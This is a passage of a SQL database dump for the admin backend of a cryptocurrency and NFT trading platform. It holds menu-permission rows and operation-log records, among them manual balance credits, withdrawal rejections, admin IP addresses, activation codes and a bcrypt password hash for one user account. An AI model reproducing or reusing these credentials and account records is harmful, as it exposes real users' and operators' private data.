(2288, 'nft详情查询', 2287, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:query', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2289, 'nft详情新增', 2287, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:add', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2290, 'nft详情修改', 2287, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:edit', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2291, 'nft详情删除', 2287, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:remove', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2292, 'nft详情导出', 2287, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftProduct:export', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2293, 'nft订单', 2287, 1, 'nftOrder', 'bussiness/nftOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:nftOrder:list', '#', 'admin', '2023-11-03 04:25:20', '', NULL, 'nft订单菜单'); +INSERT INTO `sys_menu` VALUES (2294, 'nft订单查询', 2293, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:query', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2295, 'nft订单新增', 2293, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:add', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2296, 'nft订单修改', 2293, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:edit', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2297, 'nft订单删除', 2293, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:remove', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2298, 'nft订单导出', 2293, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:nftOrder:export', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2299, 'nft合计', 2287, 1, 'series', 'bussiness/series/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:series:list', '#', 'admin', '2023-11-03 04:25:20', '', NULL, 'nft合计菜单'); +INSERT INTO `sys_menu` VALUES (2300, 'nft合计查询', 2299, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:query', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2301, 'nft合计新增', 2299, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:add', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2302, 'nft合计修改', 2299, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:edit', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2303, 'nft合计删除', 2299, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:remove', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2304, 'nft合计导出', 2299, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:series:export', '#', 'admin', '2023-11-03 04:25:20', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2305, '周期批量复制', 2077, 7, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:bathCopy', '#', 'admin', '2023-09-07 18:14:07', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2306, '归集订单', 2039, 1, 'collectionOrder', 'bussiness/collectionOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:collectionOrder:list', '#', 'admin', '2023-11-03 04:25:21', '', NULL, '归集订单菜单'); +INSERT INTO `sys_menu` VALUES (2307, '归集订单查询', 2306, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:query', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2308, '归集订单新增', 2306, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:add', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2309, '归集订单修改', 2306, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:edit', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2310, '归集订单删除', 2306, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:remove', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2311, '归集订单导出', 2306, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:collectionOrder:export', '#', 'admin', '2023-11-03 04:25:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2319, '币种列表', 2326, 3, 'IssueCoins', 'newCoin/IssueCoins/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:coin:list', 'dict', 'admin', '2023-09-18 14:33:30', 'admin', '2023-09-20 14:04:56', '发币菜单'); +INSERT INTO `sys_menu` VALUES (2320, '发币查询', 2319, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:query', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2321, '发币新增', 2319, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:add', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2322, '发币修改', 2319, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:edit', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2323, '发币删除', 2319, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:remove', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2324, '发币导出', 2319, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:export', '#', 'admin', '2023-09-18 14:33:30', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2326, '新币发行', 0, 3, 'newCoin', NULL, NULL, 1, 0, 'M', '0', '0', '', 'date-range', 'admin', '2023-09-20 11:29:11', 'admin', '2023-09-20 14:04:19', ''); +INSERT INTO `sys_menu` VALUES (2327, '申购订单', 2326, 1, 'ownCoinOrder', 'newCoin/ownCoinOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:ownCoinOrder:list', '#', 'admin', '2023-09-20 11:33:32', 'admin', '2023-09-20 14:04:42', '申购订单菜单'); +INSERT INTO `sys_menu` VALUES (2328, '申购订单查询', 2327, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:query', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2329, '申购订单新增', 2327, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:add', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2330, '申购订单修改', 2327, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:edit', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2331, '申购订单删除', 2327, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:remove', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2332, '申购订单导出', 2327, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ownCoinOrder:export', '#', 'admin', '2023-09-20 11:33:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2333, '交易所', 0, 4, 'tradingPlaces', NULL, NULL, 1, 0, 'M', '0', '0', '', 'nested', 'admin', '2023-10-08 15:24:31', 'admin', '2023-10-08 15:28:15', ''); +INSERT INTO `sys_menu` VALUES (2334, '自发币', 2333, 0, 'spontaneousCoin', 'tradingPlaces/spontaneousCoin/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:spontaneousCoin:list', 'build', 'admin', '2023-10-08 15:29:35', 'admin', '2023-10-08 15:37:40', ''); +INSERT INTO `sys_menu` VALUES (2335, '修改查看', 2334, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:spontaneousCoin:query', '#', 'admin', '2023-10-09 11:01:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2336, '新增', 2334, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:spontaneousCoin:add', '#', 'admin', '2023-10-09 11:01:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2337, '修改', 2334, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:spontaneousCoin:edit', '#', 'admin', '2023-10-09 11:01:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2338, '删除', 2334, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:spontaneousCoin:remove', '#', 'admin', '2023-10-09 11:02:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2339, '质押限购', 2250, 0, '/ming/pledgeNum', 'pledge/ming/pledgeNum', NULL, 1, 0, 'C', '1', '0', 'bussiness:productUser:list', 'button', 'admin', '2023-10-11 17:35:28', 'admin', '2023-10-12 10:31:14', ''); +INSERT INTO `sys_menu` VALUES (2340, '赎回', 2086, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:reCall', '#', 'superAdmin', '2023-10-16 17:21:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2366, '黑名单', 2033, 12, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:updateBlackStatus', '#', 'superAdmin', '2023-10-23 18:10:26', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2380, '绑定代理用户', 100, 11, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:user:bindingAdminUser', '#', 'superAdmin', '2023-10-26 17:20:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2381, '查询代理用户', 100, 10, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:user:selectAllAgentUser', '#', 'superAdmin', '2023-10-26 17:20:03', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2382, '绑定玩家用户', 100, 9, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:user:bindingAppUser', '#', 'superAdmin', '2023-10-26 17:18:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2383, '查询玩家用户', 100, 8, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:user:selectUnboundAppUser', '#', 'superAdmin', '2023-10-26 17:16:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2385, '玩家充值地址配置', 2039, 88, '/bussiness/userRecharge', 'bussiness/userRecharge/index', NULL, 1, 1, 'C', '1', '0', 'bussiness:userRecharge:list', '#', 'admin', '2023-12-07 10:10:49', 'admin', '2023-12-07 10:14:57', ''); + +-- ---------------------------- +-- Table structure for sys_notice +-- ---------------------------- +DROP TABLE IF EXISTS `sys_notice`; +CREATE TABLE `sys_notice` ( + `notice_id` int(0) NOT NULL AUTO_INCREMENT COMMENT '公告ID', + `notice_title` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '公告标题', + `notice_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '公告类型(1通知 2公告)', + `notice_content` longblob NULL COMMENT '公告内容', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '公告状态(0正常 1关闭)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`notice_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '通知公告表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for sys_oper_log +-- ---------------------------- +DROP TABLE IF EXISTS `sys_oper_log`; +CREATE TABLE `sys_oper_log` ( + `oper_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '日志主键', + `title` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '模块标题', + `business_type` int(0) NULL DEFAULT 0 COMMENT '业务类型(0其它 1新增 2修改 3删除)', + `method` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '方法名称', + `request_method` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '请求方式', + `operator_type` int(0) NULL DEFAULT 0 COMMENT '操作类别(0其它 1后台用户 2手机端用户)', + `oper_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '操作人员', + `dept_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '部门名称', + `oper_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '请求URL', + `oper_ip` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '主机地址', + `oper_location` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '操作地点', + `oper_param` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '请求参数', + `json_result` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '返回参数', + `status` int(0) NULL DEFAULT 0 COMMENT '操作状态(0正常 1异常)', + `error_msg` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '错误消息', + `oper_time` datetime(0) NULL DEFAULT NULL COMMENT '操作时间', + `cost_time` bigint(0) NULL DEFAULT 0 COMMENT '消耗时间', + PRIMARY KEY (`oper_id`) USING BTREE, + INDEX `idx_sys_oper_log_bt`(`business_type`) USING BTREE, + INDEX `idx_sys_oper_log_s`(`status`) USING BTREE, + INDEX `idx_sys_oper_log_ot`(`oper_time`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 68 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '操作日志记录' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_oper_log +-- ---------------------------- +INSERT INTO `sys_oper_log` VALUES (1, '操作日志', 9, 'com.ruoyi.web.controller.monitor.SysOperlogController.clean()', 'DELETE', 1, 'admin', NULL, '/monitor/operlog/clean', '107.181.161.214', 'XX XX', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-01-19 15:25:15', 29); +INSERT INTO `sys_oper_log` VALUES (2, '查看已有的周期配置币种', 3, 'com.ruoyi.web.controller.bussiness.TSecondCoinConfigController.bathCopy()', 'POST', 1, 'admin', NULL, '/bussiness/coin/query/bathCopy', '154.31.113.10', 'XX XX', '', '{\"msg\":\"操作成功\",\"code\":200,\"data\":[{\"id\":42,\"params\":{},\"showSymbol\":\"BTC/USDT\",\"symbol\":\"btcusdt\"},{\"id\":43,\"params\":{},\"showSymbol\":\"ETH/USDT\",\"symbol\":\"ethusdt\"},{\"id\":44,\"params\":{},\"showSymbol\":\"XRP/USDT\",\"symbol\":\"xrpusdt\"},{\"id\":45,\"params\":{},\"showSymbol\":\"LTC/USDT\",\"symbol\":\"ltcusdt\"},{\"id\":46,\"params\":{},\"showSymbol\":\"BNB/USDT\",\"symbol\":\"bnbusdt\"},{\"id\":47,\"params\":{},\"showSymbol\":\"MATIC/USDT\",\"symbol\":\"maticusdt\"},{\"id\":48,\"params\":{},\"showSymbol\":\"SOL/USDT\",\"symbol\":\"solusdt\"},{\"id\":49,\"params\":{},\"showSymbol\":\"DOGE/USDT\",\"symbol\":\"dogeusdt\"},{\"id\":50,\"params\":{},\"showSymbol\":\"TRX/USDT\",\"symbol\":\"trxusdt\"},{\"id\":53,\"params\":{},\"showSymbol\":\"BLZ/USDT\",\"symbol\":\"blzusdt\"},{\"id\":57,\"params\":{},\"showSymbol\":\"LEVER/USDT\",\"symbol\":\"leverusdt\"}]}', 0, NULL, '2024-01-25 11:15:54', 1); +INSERT INTO `sys_oper_log` VALUES (3, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '154.31.113.10', 'XX XX', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-01-25 16:10:03', 0); +INSERT INTO `sys_oper_log` VALUES (4, '提现管理.锁定', 2, 'com.ruoyi.web.controller.bussiness.TWithdrawController.lockorder()', 'POST', 1, 'admin', NULL, '/bussiness/withdraw/lockorder', '172.104.190.252', 'XX XX', '{\"id\":2627,\"params\":{},\"toAdress\":\"111121312312\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-08 10:51:58', 8); +INSERT INTO `sys_oper_log` VALUES (5, '提现管理.锁定判断', 2, 'com.ruoyi.web.controller.bussiness.TWithdrawController.trycheck()', 'POST', 1, 'admin', NULL, '/bussiness/withdraw/tryCheck', '172.104.190.252', 'XX XX', '{\"id\":2627,\"params\":{},\"toAdress\":\"111121312312\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-08 10:52:00', 3); +INSERT INTO `sys_oper_log` VALUES (6, '提现管理.审核失败', 2, 'com.ruoyi.web.controller.bussiness.TWithdrawController.rejectOrder()', 'POST', 1, 'admin', NULL, '/bussiness/withdraw/reject', '172.104.190.252', 'XX XX', '{\"id\":2627,\"params\":{},\"toAdress\":\"111121312312\"}', '{\"msg\":\"成功\",\"code\":200}', 0, NULL, '2024-02-08 10:59:13', 1014); +INSERT INTO `sys_oper_log` VALUES (7, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '104.245.100.188', 'XX XX', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-11 08:11:13', 0); +INSERT INTO `sys_oper_log` VALUES (8, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '104.245.100.188', 'XX XX', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-11 08:12:27', 0); +INSERT INTO `sys_oper_log` VALUES (9, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '104.245.100.188', 'XX XX', '{\"activeCode\":\"SB6199\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-11 08:12:52\",\"host\":\"104.245.100.188\",\"isTest\":0,\"level\":0,\"loginName\":\"awen123\",\"loginPassword\":\"$2a$10$hbb71wQ7Yg.l1hL2DBvpmuj6X0llgJnVOXgLH4cXWBJXzzc8rtt5W\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-11 08:12:52\",\"userId\":324,\"walletType\":\"TRC\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-11 08:12:52', 94); +INSERT INTO `sys_oper_log` VALUES (10, '人工上下分', 2, 'com.ruoyi.web.controller.bussiness.TAppUserController.subAmount()', 'POST', 1, 'admin', NULL, '/bussiness/user/subAmount', '104.245.100.188', 'XX XX', '{\"amount\":100000,\"createBy\":\"admin\",\"giveType\":\"0\",\"symbol\":\"usdt\",\"type\":\"1\",\"userId\":324}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-11 08:14:17', 11); +INSERT INTO `sys_oper_log` VALUES (11, '查看已有的周期配置币种', 3, 'com.ruoyi.web.controller.bussiness.TSecondCoinConfigController.bathCopy()', 'POST', 1, 'admin', NULL, '/bussiness/coin/query/bathCopy', '104.245.100.188', 'XX XX', '', '{\"msg\":\"操作成功\",\"code\":200,\"data\":[{\"id\":42,\"params\":{},\"showSymbol\":\"BTC/USDT\",\"symbol\":\"btcusdt\"},{\"id\":43,\"params\":{},\"showSymbol\":\"ETH/USDT\",\"symbol\":\"ethusdt\"},{\"id\":44,\"params\":{},\"showSymbol\":\"XRP/USDT\",\"symbol\":\"xrpusdt\"},{\"id\":45,\"params\":{},\"showSymbol\":\"LTC/USDT\",\"symbol\":\"ltcusdt\"},{\"id\":46,\"params\":{},\"showSymbol\":\"BNB/USDT\",\"symbol\":\"bnbusdt\"},{\"id\":47,\"params\":{},\"showSymbol\":\"MATIC/USDT\",\"symbol\":\"maticusdt\"},{\"id\":48,\"params\":{},\"showSymbol\":\"SOL/USDT\",\"symbol\":\"solusdt\"},{\"id\":49,\"params\":{},\"showSymbol\":\"DOGE/USDT\",\"symbol\":\"dogeusdt\"},{\"id\":50,\"params\":{},\"showSymbol\":\"TRX/USDT\",\"symbol\":\"trxusdt\"},{\"id\":53,\"params\":{},\"showSymbol\":\"BLZ/USDT\",\"symbol\":\"blzusdt\"},{\"id\":57,\"params\":{},\"showSymbol\":\"LEVER/USDT\",\"symbol\":\"leverusdt\"}]}', 0, NULL, '2024-02-11 08:19:41', 2); +INSERT INTO `sys_oper_log` VALUES (12, '币币交易币种配置', 1, 'com.ruoyi.web.controller.bussiness.TCurrencySymbolController.add()', 'POST', 1, 'admin', NULL, '/bussiness/currency/symbol', '104.245.100.188', 'XX XX', '{\"baseCoin\":\"usdt\",\"coin\":\"gmee\",\"createBy\":\"admin\",\"enable\":\"1\",\"feeRate\":0.005,\"id\":45,\"logo\":\"https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamee.png\",\"market\":\"huobi\",\"minSell\":10,\"orderMax\":10,\"orderMin\":10,\"params\":{},\"showSymbol\":\"GMEE/USDT\",\"symbol\":\"gmeeusdt\",\"updateBy\":\"admin\",\"updateTime\":\"2024-02-11 08:21:30\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-11 08:21:30', 17); +INSERT INTO `sys_oper_log` VALUES (13, '币币交易币种配置', 1, 'com.ruoyi.web.controller.bussiness.TCurrencySymbolController.add()', 'POST', 1, 'admin', NULL, '/bussiness/currency/symbol', '104.245.100.188', 'XX XX', '{\"coin\":\"gmee\",\"enable\":\"1\",\"feeRate\":0.005,\"market\":\"huobi\",\"minSell\":10,\"orderMax\":10,\"orderMin\":10,\"params\":{}}', '{\"msg\":\"gmeeusdt交易对已经存在\",\"code\":500}', 0, NULL, '2024-02-11 08:21:39', 1); +INSERT INTO `sys_oper_log` VALUES (14, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '172.104.169.172', 'XX XX', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-12 11:26:25', 1); +INSERT INTO `sys_oper_log` VALUES (15, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 16:59:25', 24); +INSERT INTO `sys_oper_log` VALUES (16, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:04:25', 10); +INSERT INTO `sys_oper_log` VALUES (17, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:07:12', 12); +INSERT INTO `sys_oper_log` VALUES (18, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:07:59', 10); +INSERT INTO `sys_oper_log` VALUES (19, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:17:08', 12); +INSERT INTO `sys_oper_log` VALUES (20, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:17:33', 9); +INSERT INTO `sys_oper_log` VALUES (21, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:24:28', 13); +INSERT INTO `sys_oper_log` VALUES (22, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:41:50', 13); +INSERT INTO `sys_oper_log` VALUES (23, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:42:07', 11); +INSERT INTO `sys_oper_log` VALUES (24, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:42:32', 9); +INSERT INTO `sys_oper_log` VALUES (25, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:42:47', 12); +INSERT INTO `sys_oper_log` VALUES (26, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 17:43:19', 9); +INSERT INTO `sys_oper_log` VALUES (27, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:11:00', 9); +INSERT INTO `sys_oper_log` VALUES (28, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.10.175', '内网IP', '{\"activeCode\":\"ACMRGX\",\"createBy\":\"admin\",\"createTime\":\"2024-02-13 